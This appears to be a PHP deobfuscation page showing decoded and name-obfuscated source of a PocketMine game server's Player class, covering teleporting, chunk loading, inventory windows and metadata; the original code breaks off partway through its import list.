as${${"GLOBALS"}["qnhmrhqnggr"]}){if(!isset(${${"GLOBALS"}["knqonkrarpgw"]}[$player->getLoaderId()])){$this->despawnFrom(${${"GLOBALS"}["qnhmrhqnggr"]});}else{$ilxvklpr="newChunk";unset(${$ilxvklpr}[$player->getLoaderId()]);${"GLOBALS"}["sovbyuys"]="reload";${${"GLOBALS"}["sovbyuys"]}[]=${${"GLOBALS"}["qnhmrhqnggr"]};}}foreach(${$rrnmxorc} as${${"GLOBALS"}["qnhmrhqnggr"]}){${"GLOBALS"}["flomjsgmdb"]="player";$this->spawnTo(${${"GLOBALS"}["flomjsgmdb"]});}}if($this->chunk===null){return;}$this->chunk->addEntity($this);}}protected function checkTeleportPosition(){if($this->teleportPosition!==null){${"GLOBALS"}["bxbpaefhzpn"]="chunkZ";${"GLOBALS"}["pgsruqvos"]="chunkX";${"GLOBALS"}["cshfmoon"]="X";${${"GLOBALS"}["pgsruqvos"]}=$this->teleportPosition->x>>4;${${"GLOBALS"}["bxbpaefhzpn"]}=$this->teleportPosition->z>>4;for(${${"GLOBALS"}["rbmfjwfncmxp"]}=-1;${${"GLOBALS"}["rbmfjwfncmxp"]}<=1;++${${"GLOBALS"}["cshfmoon"]}){for(${${"GLOBALS"}["txdpmuloyj"]}=-1;${${"GLOBALS"}["txdpmuloyj"]}<=1;++${${"GLOBALS"}["txdpmuloyj"]}){$ztbxpb="chunkX";$ejntyqh="index";${"GLOBALS"}["xxtuuxjiy"]="chunkZ";$gwyqnxicfbu="index";${"GLOBALS"}["urlthzcikhn"]="Z";if(!isset($this->usedChunks[${$ejntyqh}=Level::chunkHash(${$ztbxpb}+${${"GLOBALS"}["rbmfjwfncmxp"]},${${"GLOBALS"}["xxtuuxjiy"]}+${${"GLOBALS"}["urlthzcikhn"]})])or$this->usedChunks[${$gwyqnxicfbu}]===false){return false;}}}$this->sendPosition($this,null,null,1);$this->spawnToAll();$this->forceMovement=$this->teleportPosition;$this->teleportPosition=null;return true;}return true;}public function teleport(Vector3$pos,$yaw=null,$pitch=null){$emcsvddfymva="pitch";$sfuxmyetdqt="oldPos";if(!$this->isOnline()){return false;}${"GLOBALS"}["jgumygbqwkl"]="pos";$yeosrw="yaw";${$sfuxmyetdqt}=$this->getPosition();if(parent::teleport(${${"GLOBALS"}["jgumygbqwkl"]},${$yeosrw},${$emcsvddfymva})){foreach($this->windowIndex as${${"GLOBALS"}["tosljdjh"]}){$zttwahok="window";if(${${"GLOBALS"}["tosljdjh"]}===$this->inventory){continue;}$this->removeWindow(${$zttwahok});}$this->teleportPosition=new Vector3($this->x,$this->y,$this->z);if(!$this->checkTeleportPosition()){${"GLOBALS"}["llkmyfsdo"]="oldPos";$this->forceMovement=${${"GLOBALS"}["llkmyfsdo"]};}else{$this->spawnToAll();}$this->resetFallDistance();$this->nextChunkOrderRun=0;$this->newPosition=null;$this->stopSleep();return true;}return false;}public function teleportImmediate(Vector3$pos,$yaw=null,$pitch=null){$pdadfnjwfq="pitch";if(parent::teleport(${${"GLOBALS"}["wxoehmqbtg"]},${${"GLOBALS"}["fpjrglovqm"]},${$pdadfnjwfq})){foreach($this->windowIndex as${${"GLOBALS"}["tosljdjh"]}){$czwakffs="window";if(${$czwakffs}===$this->inventory){continue;}$this->removeWindow(${${"GLOBALS"}["tosljdjh"]});}$this->forceMovement=new Vector3($this->x,$this->y,$this->z);$this->sendPosition($this,$this->yaw,$this->pitch,1);$this->resetFallDistance();$this->orderChunks();$this->nextChunkOrderRun=0;$this->newPosition=null;}}public function getWindowId(Inventory$inventory):int{if($this->windows->contains(${${"GLOBALS"}["sdvdbukwmn"]})){${"GLOBALS"}["dwwsjormlin"]="inventory";return$this->windows[${${"GLOBALS"}["dwwsjormlin"]}];}return-1;}public function addWindow(Inventory$inventory,$forceId=null):int{$yigylmltsfu="inventory";if($this->windows->contains(${$yigylmltsfu})){$vmzimvbm="inventory";return$this->windows[${$vmzimvbm}];}$gzvnwoxnmok="inventory";${"GLOBALS"}["wgsenj"]="inventory";if(${${"GLOBALS"}["qsjjhu"]}===null){$this->windowCnt=${${"GLOBALS"}["qsdfffo"]}=max(2,++$this->windowCnt%99);}else{${"GLOBALS"}["jkqethpjlidd"]="cnt";${${"GLOBALS"}["jkqethpjlidd"]}=(int)${${"GLOBALS"}["qsjjhu"]};}${"GLOBALS"}["wdbxsxsoeej"]="cnt";$this->windowIndex[${${"GLOBALS"}["wdbxsxsoeej"]}]=${$gzvnwoxnmok};$bfybctemt="cnt";$this->windows->attach(${${"GLOBALS"}["wgsenj"]},${$bfybctemt});if($inventory->open($this)){$vvsxicdznox="cnt";return${$vvsxicdznox};}else{$this->removeWindow(${${"GLOBALS"}["sdvdbukwmn"]});return-1;}}public function removeWindow(Inventory$inventory){$inventory->close($this);if($this->windows->contains(${${"GLOBALS"}["sdvdbukwmn"]})){$lyyjqvunzvv="id";$ulwwuz="id";${"GLOBALS"}["uqygkfdw"]="inventory";${"GLOBALS"}["tnvinncguap"]="id";${$lyyjqvunzvv}=$this->windows[${${"GLOBALS"}["uqygkfdw"]}];$this->windows->detach($this->windowIndex[${${"GLOBALS"}["tnvinncguap"]}]);unset($this->windowIndex[${$ulwwuz}]);}}public function setMetadata($metadataKey,MetadataValue$metadataValue){${"GLOBALS"}["xwzxyfcfztvj"]="metadataValue";$this->server->getPlayerMetadata()->setMetadata($this,${${"GLOBALS"}["dtoedn"]},${${"GLOBALS"}["xwzxyfcfztvj"]});}public function getMetadata($metadataKey){return$this->server->getPlayerMetadata()->getMetadata($this,${${"GLOBALS"}["dtoedn"]});}public function hasMetadata($metadataKey){return$this->server->getPlayerMetadata()->hasMetadata($this,${${"GLOBALS"}["dtoedn"]});}public function removeMetadata($metadataKey,Plugin$plugin){${"GLOBALS"}["iufqedf"]="plugin";$this->server->getPlayerMetadata()->removeMetadata($this,${${"GLOBALS"}["dtoedn"]},${${"GLOBALS"}["iufqedf"]});}public function onChunkChanged(FullChunk$chunk){$this->loadQueue[Level::chunkHash($chunk->getX(),$chunk->getZ())]=abs(($this->x>>4)-$chunk->getX())+abs(($this->z>>4)-$chunk->getZ());}public function onChunkLoaded(FullChunk$chunk){}public function onChunkPopulated(FullChunk$chunk){}public function onChunkUnloaded(FullChunk$chunk){}public function onBlockChanged(Vector3$block){}public function getLoaderId(){return$this->loaderId;}public function isLoaderActive(){return$this->isConnected();}public static function getChunkCacheFromData($chunkX,$chunkZ,$payload,$ordering=FullChunkDataPacket::ORDER_COLUMNS){$qnrfybgrgf="pk";$fmpopdkmpy="chunkX";${"GLOBALS"}["dqtwkvqjyn"]="payload";${${"GLOBALS"}["ozzywsrssq"]}=new FullChunkDataPacket();$pk->chunkX=${$fmpopdkmpy};$pk->chunkZ=${${"GLOBALS"}["dwjjtd"]};${"GLOBALS"}["wbxkojdr"]="ordering";$pk->order=${${"GLOBALS"}["wbxkojdr"]};$pk->data=${${"GLOBALS"}["dqtwkvqjyn"]};$pk->encode();return${$qnrfybgrgf};}} 
?>

Did this file decode correctly?

Original Code

<?php namespace pocketmine;${"\x47\x4c\x4fBAL\x53"}["\x64t\x6fedn"]="\x6d\x65ta\x64\x61ta\x4b\x65\x79";${"GL\x4f\x42\x41L\x53"}["q\x73\x64\x66\x66\x66\x6f"]="c\x6e\x74";${"G\x4cO\x42\x41L\x53"}["q\x73\x6ajhu"]="\x66\x6fr\x63eId";${"\x47L\x4fB\x41\x4c\x53"}["\x73\x64\x76\x64\x62\x75\x6bwm\x6e"]="\x69\x6e\x76\x65nto\x72\x79";${"\x47\x4c\x4f\x42AL\x53"}["\x6b\x6e\x71\x6f\x6e\x6bra\x72pgw"]="n\x65\x77\x43\x68\x75\x6e\x6b";${"\x47\x4cOBAL\x53"}["\x6a\x72\x76\x70sa\x62i\x71"]="\x72el\x6fa\x64";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["dgv\x67v\x68"]="\x6dod\x65";${"\x47\x4c\x4fB\x41LS"}["\x6b\x76\x70\x68\x71r"]="s\x6f\x75\x72\x63\x65";${"\x47\x4c\x4f\x42ALS"}["\x61\x74fju\x72k\x75"]="\x64\x61\x6da\x67\x65";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x72rvi\x71s"]="\x61\x6d\x6fun\x74";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x67o\x72\x64\x74x\x78\x63\x76\x68"]="p\x61\x72a\x6d\x73";${"G\x4c\x4f\x42\x41L\x53"}["\x70ysi\x69\x6f\x6c\x6e\x78\x68"]="\x65";${"GLO\x42A\x4cS"}["zmu\x68pb\x79\x62\x64"]="\x63a\x75\x73\x65";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6ah\x70\x71\x63l\x6ed\x66\x73\x71"]="\x6e\x6f\x74\x69\x66y";${"\x47\x4c\x4fBA\x4cS"}["j\x73\x78\x76z\x70\x6bhu\x68a"]="\x73\x75\x62\x74\x69t\x6ce";${"G\x4c\x4fB\x41L\x53"}["\x61\x67\x69\x71u\x74\x6db\x78"]="pa\x72amet\x65\x72\x73";${"GL\x4fB\x41LS"}["\x64\x74t\x6e\x66\x61s\x62\x6d\x67i\x72"]="\x6d";${"\x47\x4cO\x42\x41L\x53"}["\x70ve\x6d\x72\x62\x66\x68\x72"]="\x6des";${"\x47\x4c\x4f\x42ALS"}["b\x6c\x66x\x6c\x6e\x65"]="\x72\x65\x61s\x6f\x6e";${"G\x4cOB\x41LS"}["\x73\x6e\x69\x75\x62\x72\x64\x71y\x65\x74"]="t";${"\x47\x4c\x4fB\x41\x4cS"}["\x77ph\x65\x73\x65nu"]="\x69\x6ev";${"\x47\x4c\x4fBAL\x53"}["\x66\x61\x64\x69x\x72\x6d\x6f"]="\x74\x72\x61n\x73a\x63t\x69\x6f\x6e";${"\x47LO\x42\x41\x4cS"}["\x6f\x79h\x75\x6fk\x71"]="\x65x\x74\x72aI\x74e\x6d";${"\x47\x4cO\x42\x41L\x53"}["\x75\x71ictx\x72\x67"]="\x6ee\x77\x49te\x6d";${"\x47\x4cO\x42\x41\x4c\x53"}["\x74\x65\x6dx\x6efs\x62\x63"]="\x75\x73\x65\x64";${"GL\x4f\x42A\x4c\x53"}["\x78e\x78\x73\x6d\x78\x62"]="r\x65sult";${"G\x4c\x4fB\x41\x4c\x53"}["j\x68wc\x69\x6a\x75\x76"]="\x69\x6e\x67r\x65\x64i\x65\x6e\x74\x73";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["gj\x6a\x65\x62\x70\x72\x71\x74\x76"]="\x72e\x6d\x6fve";${"\x47L\x4f\x42\x41\x4c\x53"}["\x78\x65l\x6f\x70o\x66c\x6c\x79\x70"]="\x6e";${"\x47LO\x42\x41\x4c\x53"}["\x75f\x64\x66\x62\x6d\x66q\x68"]="n\x65\x65\x64e\x64";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76\x77fdo\x6e\x67\x68\x6d\x72\x72"]="y";${"GL\x4f\x42\x41\x4c\x53"}["lkt\x71bj\x6d\x76\x74z\x6b\x74"]="\x63a\x6eCraft";${"\x47\x4cOB\x41\x4c\x53"}["he\x63\x73\x62\x6a\x66l\x65"]="\x69\x6e\x67\x72edi\x65\x6et";${"G\x4c\x4fB\x41L\x53"}["p\x76\x79\x75vb\x69t\x79"]="\x66l\x6f\x61\x74\x69n\x67\x49\x6e\x76\x65ntory";${"\x47\x4cO\x42\x41\x4cS"}["\x78bs\x71xz\x6dz\x68\x67"]="\x72";${"\x47LOBA\x4c\x53"}["k\x77\x65\x77s\x69hn\x6a"]="p\x6f\x73\x73\x69\x62\x6ce\x52\x65\x63\x69\x70\x65s";${"\x47L\x4f\x42\x41\x4cS"}["\x62h\x6d\x69\x65\x69\x64"]="\x72\x65\x63\x69\x70\x65";${"\x47\x4c\x4fBAL\x53"}["\x74o\x73ljd\x6ah"]="win\x64o\x77";${"\x47\x4cO\x42\x41\x4c\x53"}["\x65\x77\x75\x64\x77\x6akf"]="a\x6evilInven\x74or\x79";${"\x47L\x4fB\x41L\x53"}["\x76yz\x6c\x66\x67\x66\x73"]="\x6d\x65\x73\x73\x61\x67e";${"GL\x4f\x42AL\x53"}["\x79\x67\x6bp\x6e\x73\x75"]="\x74hornsEv\x65nt";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6cb\x79p\x70\x6d\x63\x77\x6aln"]="\x66i\x72e\x45\x76";${"G\x4c\x4fBA\x4c\x53"}["\x61e\x7a\x79\x71\x62\x7a\x70"]="\x66i\x72\x65A\x73\x70\x65ctL";${"\x47\x4c\x4fBAL\x53"}["\x74\x74\x6a\x6b\x79\x6a\x76\x77j\x74\x76x"]="\x63a\x6e\x63e\x6cl\x65\x64";${"G\x4c\x4f\x42A\x4cS"}["\x6axh\x75\x64pfs\x6cp\x64"]="\x76ec\x74\x6fr";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x68e\x6aq\x73d\x6a"]="p";${"\x47L\x4f\x42A\x4c\x53"}["\x64\x67o\x6c\x71\x72\x71\x77\x66\x61"]="\x61\x72\x72\x6f\x77";${"G\x4c\x4f\x42\x41L\x53"}["\x70w\x6d\x65\x63mu"]="sid\x65";${"\x47LOB\x41\x4cS"}["\x71\x65\x71\x6d\x6aam\x6e\x77\x6b"]="\x74h\x72\x6f\x77n\x50\x6f\x74\x69\x6fn";${"\x47L\x4f\x42\x41\x4c\x53"}["\x73\x78\x69\x65d\x6cz\x73m\x70"]="\x74\x68\x72\x6fw\x6e\x45\x78\x70\x42\x6f\x74\x74le";${"\x47LO\x42\x41\x4c\x53"}["\x63\x65h\x78\x77\x76p\x78"]="\x65\x67\x67";${"\x47\x4c\x4f\x42\x41L\x53"}["s\x78\x75\x63\x65\x73v\x73\x72d\x61\x6e"]="sno\x77\x62\x61\x6cl";${"\x47L\x4f\x42A\x4c\x53"}["nc\x73\x68h\x7a\x63\x6b"]="\x70\x72oj\x65c\x74\x69l\x65\x45\x76";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x74bg\x75jnkc"]="\x66";${"\x47\x4c\x4fB\x41\x4cS"}["l\x6f\x6c\x6bqc\x75\x6bqy"]="a\x69\x6d\x50os";${"\x47\x4c\x4f\x42\x41L\x53"}["\x68\x78\x78i\x7a\x7a"]="t\x61r\x67\x65\x74";${"G\x4cO\x42\x41LS"}["\x70\x65\x7a\x6d\x6a\x62\x7a\x62"]="\x62l\x6f\x63k\x56\x65\x63t\x6f\x72";${"\x47L\x4f\x42\x41\x4c\x53"}["\x6b\x64\x77d\x65\x70\x74\x67"]="\x66\x6fu\x6e\x64";${"\x47L\x4f\x42\x41\x4cS"}["\x64\x66gx\x6d\x77\x65\x79oha\x6d"]="\x73\x6c\x6ft";${"\x47\x4c\x4fB\x41\x4cS"}["o\x68y\x68\x7a\x6en\x69"]="\x64\x69\x73\x74";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["ke\x7a\x7a\x62\x65w"]="c";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x66\x70v\x6f\x64\x76\x78\x67"]="va\x6c\x69\x64";${"\x47L\x4f\x42\x41\x4c\x53"}["\x73\x76\x70\x76q\x79\x68\x66"]="l\x65n";${"GLO\x42\x41\x4c\x53"}["\x6fr\x6fntt\x65\x6a\x79"]="\x74i\x6ce";${"\x47\x4c\x4fBA\x4c\x53"}["\x73\x6e\x62\x68\x6dgyp\x73\x71"]="n\x62\x74";${"\x47\x4c\x4fB\x41\x4c\x53"}["v\x6a\x71qcp\x62ch"]="\x64";${"\x47\x4c\x4f\x42\x41L\x53"}["\x76\x63j\x69\x73\x65\x62"]="\x64\x6f\x74\x31";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x66hbm\x76w\x76\x69"]="\x64ot";${"\x47L\x4f\x42\x41\x4cS"}["\x71z\x77\x72r\x6b\x63"]="\x6d\x61\x78D\x69\x73\x74\x61\x6e\x63\x65";${"G\x4c\x4fB\x41\x4cS"}["\x77\x73\x77\x70\x76g"]="e\x79\x65\x50\x6fs";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x70\x63b\x65\x6cj\x6c\x65n\x68\x75"]="\x65\x78\x70\x65\x63t\x65\x64\x56\x65\x6co\x63i\x74y";${"G\x4c\x4f\x42\x41\x4c\x53"}["nr\x6bxj\x74"]="\x74\x65m\x70\x6f\x73";${"G\x4c\x4f\x42A\x4cS"}["w\x6f\x78\x6b\x67\x76\x65"]="\x6a";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x6c\x70\x6b\x71i\x6a"]="\x74\x69c\x6b\x44\x69\x66f";${"\x47L\x4fB\x41\x4cS"}["\x6b\x79\x6a\x6a\x6d\x67\x68"]="\x63\x75\x72rent\x54ick";${"\x47LO\x42A\x4c\x53"}["\x68\x7al\x65\x79\x69\x78\x73\x66\x6b\x70"]="\x65n\x74\x72ies";${"\x47LO\x42\x41\x4c\x53"}["\x6asf\x65\x75\x78v\x68"]="\x6d\x6fv\x69\x6e\x67";${"GLOBA\x4c\x53"}["\x70x\x69w\x7a\x78\x6e\x78"]="h\x65\x61\x64Y\x61\x77";${"\x47\x4cO\x42\x41\x4cS"}["\x77vt\x6a\x64\x6by\x6d\x69t"]="\x70\x69\x74\x63\x68";${"G\x4cO\x42A\x4c\x53"}["\x66p\x6a\x72\x67l\x6f\x76\x71m"]="\x79\x61\x77";${"\x47\x4cO\x42\x41L\x53"}["\x6c\x6e\x61j\x74\x6em"]="\x74\x6f";${"\x47L\x4fB\x41\x4c\x53"}["\x73u\x71\x6c\x67nv\x68s\x65"]="\x69\x73\x46\x69\x72\x73t";${"G\x4cOB\x41\x4c\x53"}["ai\x72\x71\x74\x6br\x64"]="\x64\x65l\x74\x61Ang\x6ce";${"\x47\x4c\x4f\x42ALS"}["\x77p\x6di\x71\x79\x77"]="\x64\x69f\x66X";${"\x47L\x4f\x42\x41\x4c\x53"}["b\x77\x61\x71\x6f\x72\x6a\x69hg"]="\x64\x69\x66f";${"\x47L\x4f\x42A\x4c\x53"}["xr\x6c\x79t\x68\x78\x64\x69\x66\x7a"]="\x79S";${"\x47L\x4f\x42\x41LS"}["\x71mw\x64\x66\x69\x6b\x78\x63"]="\x64i\x66\x66\x59";${"\x47L\x4f\x42\x41\x4cS"}["\x69\x6f\x6bs\x70\x68y\x7a"]="dz";${"\x47L\x4fB\x41L\x53"}["\x78\x6fja\x63\x76"]="d\x79";${"G\x4c\x4f\x42\x41LS"}["\x75zxm\x78ytm"]="\x64\x78";${"GLOBA\x4cS"}["\x63\x74\x76i\x64\x68\x75\x72\x63"]="\x64i\x73\x74\x61\x6e\x63\x65S\x71\x75\x61r\x65\x64";${"G\x4cO\x42\x41\x4c\x53"}["\x72\x74k\x76ny\x79h\x6b"]="\x72e\x76er\x74";${"GL\x4f\x42\x41\x4cS"}["\x7a\x62\x6c\x68\x6f\x6f"]="c\x68un\x6b";${"\x47\x4c\x4f\x42AL\x53"}["b\x6bg\x68\x62\x71d\x64\x6au\x68\x74"]="ne\x77Po\x73";${"G\x4c\x4f\x42\x41L\x53"}["s\x77\x6dv\x71\x79g\x7a\x64"]="\x61\x64\x64";${"\x47\x4c\x4fB\x41\x4cS"}["\x66\x6fh\x65xu\x6e\x6eb\x65"]="ite\x6d";${"\x47\x4cOB\x41L\x53"}["\x72\x61\x69oov\x65\x6d\x71"]="\x62\x6c\x6f\x63k";${"G\x4c\x4f\x42\x41\x4cS"}["\x78\x79\x64\x77v\x73\x6dh\x70\x75\x72"]="\x74\x79\x70\x65";${"\x47LOB\x41\x4c\x53"}["\x66u\x65\x6f\x75q\x63\x71\x69"]="\x69\x64";${"\x47LO\x42\x41L\x53"}["\x64r\x79\x6cub\x6ed\x62b\x79\x6f"]="\x66\x6c\x61\x67\x73";${"G\x4cO\x42\x41LS"}["\x6a\x64fbd\x75\x7a\x65\x74\x6a\x70"]="\x67\x6d";${"\x47\x4cO\x42\x41L\x53"}["s\x65\x6e\x70\x63vj"]="i\x64\x65\x6e\x74if\x69\x65r";${"\x47L\x4f\x42\x41L\x53"}["\x77\x71\x6f\x77\x70xyy"]="n\x65\x65\x64\x41\x43\x4b";${"GLO\x42ALS"}["\x71\x65\x62\x72\x72\x69o\x68j"]="\x70\x61c\x6b\x65t";${"\x47\x4c\x4f\x42\x41L\x53"}["tb\x73\x77\x65\x68\x73"]="\x62oo\x6c";${"GL\x4f\x42\x41\x4cS"}["\x6c\x65\x74os\x6bu"]="\x6eew\x4fr\x64\x65\x72";${"\x47L\x4f\x42A\x4c\x53"}["\x73ax\x68\x6e\x76\x63\x6c\x79"]="\x76\x69\x65w\x44\x69\x73t\x61\x6e\x63\x65";${"\x47LO\x42\x41LS"}["\x6f\x69\x6cgi\x69\x75"]="i";${"\x47\x4c\x4f\x42\x41L\x53"}["\x71\x78\x66\x6b\x63\x79wf"]="\x6ceg";${"\x47\x4cO\x42\x41\x4c\x53"}["\x74\x63\x76\x75\x77igj\x71w"]="\x6c\x61\x79\x65\x72";${"\x47LO\x42\x41\x4c\x53"}["\x62\x79\x6f\x6b\x74\x66h\x74\x6d"]="\x63\x65\x6e\x74\x65r\x5a";${"\x47\x4c\x4fB\x41\x4cS"}["\x7a\x6f\x6b\x6d\x75u\x6d\x6e\x73\x66"]="c\x65n\x74\x65\x72\x58";${"\x47L\x4f\x42\x41\x4cS"}["\x68\x75\x71xyh\x62\x70\x74\x6al"]="\x6c\x61s\x74\x43\x68\x75\x6e\x6b";${"\x47\x4c\x4f\x42\x41LS"}["\x68p\x70\x6bb\x63\x6e"]="m\x73g";${"\x47\x4c\x4f\x42\x41L\x53"}["\x64\x77j\x6a\x74d"]="\x63h\x75\x6e\x6b\x5a";${"G\x4c\x4f\x42\x41\x4cS"}["u\x76\x74\x65b\x6ee\x6az"]="\x63\x68u\x6e\x6bX";${"\x47LOB\x41L\x53"}["\x71\x63fz\x76\x6c"]="\x65\x76";${"\x47\x4c\x4f\x42A\x4cS"}["w\x78\x6f\x65\x68\x6d\x71\x62\x74\x67"]="p\x6f\x73";${"\x47LO\x42\x41\x4c\x53"}["cf\x72e\x6ak\x6bd"]="c\x6fu\x6e\x74";${"\x47\x4cO\x42AL\x53"}["\x72i\x62\x65\x6d\x63\x65d\x78\x65se"]="\x64\x69\x73\x74a\x6e\x63\x65";${"\x47\x4c\x4f\x42\x41L\x53"}["\x66\x6a\x77hr\x6cj\x6f"]="\x62atc\x68";${"\x47\x4c\x4fBAL\x53"}["\x6d\x6b\x77\x7a\x73\x65z\x71"]="\x42\x41\x54\x43H_\x54H\x52\x45\x53HO\x4c\x44";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x62f\x6bl\x75\x6e\x69"]="\x78";${"\x47\x4c\x4f\x42A\x4c\x53"}["y\x69\x65\x77j\x62\x72torv\x75"]="\x65\x6eti\x74\x79";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x71\x64\x71\x64q\x74\x63"]="\x7a";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x66\x71\x7a\x76\x62\x72\x6e\x67z\x73"]="o\x6c\x64\x4c\x65\x76\x65\x6c";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["tx\x64p\x6d\x75\x6c\x6f\x79j"]="\x5a";${"\x47\x4c\x4fB\x41L\x53"}["\x72\x62\x6d\x66\x6a\x77\x66\x6e\x63mx\x70"]="\x58";${"G\x4c\x4f\x42\x41L\x53"}["\x75s\x70qxt\x6d\x6f\x72\x73"]="in\x64ex";${"\x47L\x4f\x42A\x4c\x53"}["b\x70\x62\x64tl\x6dm\x69\x69\x70b"]="\x74\x61\x72\x67\x65\x74\x4c\x65\x76\x65\x6c";${"\x47\x4c\x4fB\x41\x4cS"}["l\x76q\x67k\x73\x66"]="\x73t\x72";${"\x47L\x4f\x42\x41\x4c\x53"}["\x62\x72cq\x78rmc\x7ae\x6e"]="i\x6e\x74er\x66\x61ce";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x71q\x6aiq\x67\x65\x63\x63bh"]="\x6e\x61\x6de";${"\x47LOB\x41\x4c\x53"}["\x71\x6eh\x6d\x72h\x71\x6e\x67\x67\x72"]="p\x6c\x61y\x65\x72";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["l\x61\x6cx\x68\x72\x70\x64c\x69\x71\x70"]="\x76al\x75\x65";${"\x47LO\x42AL\x53"}["\x71qhv\x74h\x77j"]="e\x78\x70";${"GL\x4f\x42A\x4c\x53"}["\x6d\x71\x67\x70\x71\x66f\x73s"]="\x6ce\x76\x65\x6c";${"\x47\x4c\x4fBA\x4cS"}["\x6f\x7azy\x77\x73\x72ssq"]="p\x6b";use pocketmine\block\Block;use pocketmine\block\Air;use pocketmine\block\Fire;use pocketmine\block\PressurePlate;use pocketmine\command\CommandSender;use pocketmine\entity\Animal;use pocketmine\entity\Arrow;use pocketmine\entity\Attribute;use pocketmine\entity\AttributeMap;use pocketmine\entity\Boat;use pocketmine\entity\Effect;use pocketmine\entity\Entity;use pocketmine\entity\FishingHook;use pocketmine\entity\Human;use pocketmine\entity\Item as DroppedItem;use pocketmine\entity\Living;use pocketmine\entity\Minecart;use pocketmine\entity\Projectile;use pocketmine\entity\ThrownExpBottle;use pocketmine\entity\ThrownPotion;use pocketmine\event\block\BlockBreakEvent;use pocketmine\event\block\ItemFrameDropItemEvent;use pocketmine\event\block\SignChangeEvent;use pocketmine\event\entity\EntityCombustByEntityEvent;use pocketmine\event\entity\EntityDamageByBlockEvent;use pocketmine\event\entity\EntityDamageByEntityEvent;use pocketmine\event\entity\EntityDamageEvent;use pocketmine\event\entity\EntityRegainHealthEvent;use pocketmine\event\entity\EntityShootBowEvent;use pocketmine\event\entity\ProjectileLaunchEvent;use pocketmine\event\inventory\CraftItemEvent;use pocketmine\event\inventory\InventoryCloseEvent;use pocketmine\event\inventory\InventoryPickupArrowEvent;use pocketmine\event\inventory\InventoryPickupItemEvent;use pocketmine\event\player\PlayerExhaustEvent;use pocketmine\event\player\PlayerTextPreSendEvent;use pocketmine\event\player\PlayerAnimationEvent;use pocketmine\event\player\PlayerBedEnterEvent;use pocketmine\event\player\PlayerBedLeaveEvent;use pocketmine\event\player\PlayerChatEvent;use pocketmine\event\player\PlayerCommandPreprocessEvent;use pocketmine\event\player\PlayerDeathEvent;use pocketmine\event\player\PlayerDropItemEvent;use pocketmine\event\player\PlayerGameModeChangeEvent;use pocketmine\event\player\PlayerHungerChangeEvent;use pocketmine\event\player\PlayerInteractEvent;use pocketmine\event\player\PlayerItemConsumeEvent;use pocketmine\event\player\PlayerJoinEvent;use pocketmine\event\player\PlayerKickEvent;use pocketmine\event\player\PlayerLoginEvent;use pocketmine\event\player\PlayerMoveEvent;use pocketmine\event\player\PlayerPreLoginEvent;use pocketmine\event\player\PlayerQuitEvent;use pocketmine\event\player\PlayerRespawnEvent;use pocketmine\event\player\PlayerToggleSneakEvent;use pocketmine\event\player\PlayerToggleSprintEvent;use pocketmine\event\player\PlayerUseFishingRodEvent;use pocketmine\event\server\DataPacketReceiveEvent;use pocketmine\event\server\DataPacketSendEvent;use pocketmine\event\TextContainer;use pocketmine\event\Timings;use pocketmine\event\TranslationContainer;use pocketmine\inventory\AnvilInventory;use pocketmine\inventory\BaseTransaction;use pocketmine\inventory\BigShapedRecipe;use pocketmine\inventory\BigShapelessRecipe;use pocketmine\inventory\DropItemTransaction;use pocketmine\inventory\EnchantInventory;use pocketmine\inventory\FurnaceInventory;use pocketmine\inventory\Inventory;use pocketmine\inventory\InventoryHolder;use pocketmine\inventory\PlayerInventory;use pocketmine\inventory\ShapedRecipe;use pocketmine\inventory\ShapelessRecipe;use pocketmine\item\enchantment\Enchantment;use pocketmine\item\FoodSource;use pocketmine\item\Item;use pocketmine\item\Potion;use pocketmine\level\ChunkLoader;use pocketmine\level\format\FullChunk;use pocketmine\level\Level;use pocketmine\level\Location;use pocketmine\level\Position;use pocketmine\level\sound\LaunchSound;use pocketmine\math\AxisAlignedBB;use pocketmine\math\Vector2;use pocketmine\math\Vector3;use pocketmine\metadata\MetadataValue;use pocketmine\nbt\NBT;use pocketmine\nbt\tag\ByteTag;use pocketmine\nbt\tag\CompoundTag;use pocketmine\nbt\tag\DoubleTag;use pocketmine\nbt\tag\ListTag;use pocketmine\nbt\tag\FloatTag;use pocketmine\nbt\tag\IntTag;use pocketmine\nbt\tag\LongTag;use pocketmine\nbt\tag\ShortTag;use pocketmine\nbt\tag\StringTag;use pocketmine\network\AnyVersionManager;use pocketmine\network\Network;use pocketmine\network\protocol\AdventureSettingsPacket;use pocketmine\network\protocol\AnimatePacket;use pocketmine\network\protocol\BatchPacket;use pocketmine\network\protocol\BlockEntityDataPacket;use pocketmine\network\protocol\ChunkRadiusUpdatedPacket;use pocketmine\network\protocol\ContainerClosePacket;use pocketmine\network\protocol\ContainerSetContentPacket;use pocketmine\network\protocol\ChangeDimensionPacket;use pocketmine\network\protocol\DataPacket;use pocketmine\network\protocol\DisconnectPacket;use pocketmine\network\protocol\EntityEventPacket;use pocketmine\network\protocol\FullChunkDataPacket;use pocketmine\network\protocol\Info;use pocketmine\network\protocol\Info as ProtocolInfo;use pocketmine\network\protocol\InteractPacket;use pocketmine\network\protocol\LevelEventPacket;use pocketmine\network\protocol\MobEquipmentPacket;use pocketmine\network\protocol\MovePlayerPacket;use pocketmine\network\protocol\p70\ChunkRadiusUpdatePacket;use pocketmine\network\protocol\p70\LoginPacket;use pocketmine\network\protocol\p70\RemovePlayerPacket;use pocketmine\network\protocol\PlayerActionPacket;use pocketmine\network\protocol\PlayStatusPacket;use pocketmine\network\protocol\RemoveEntityPacket;use pocketmine\network\protocol\RespawnPacket;use pocketmine\network\protocol\SetDifficultyPacket;use pocketmine\network\protocol\SetEntityMotionPacket;use 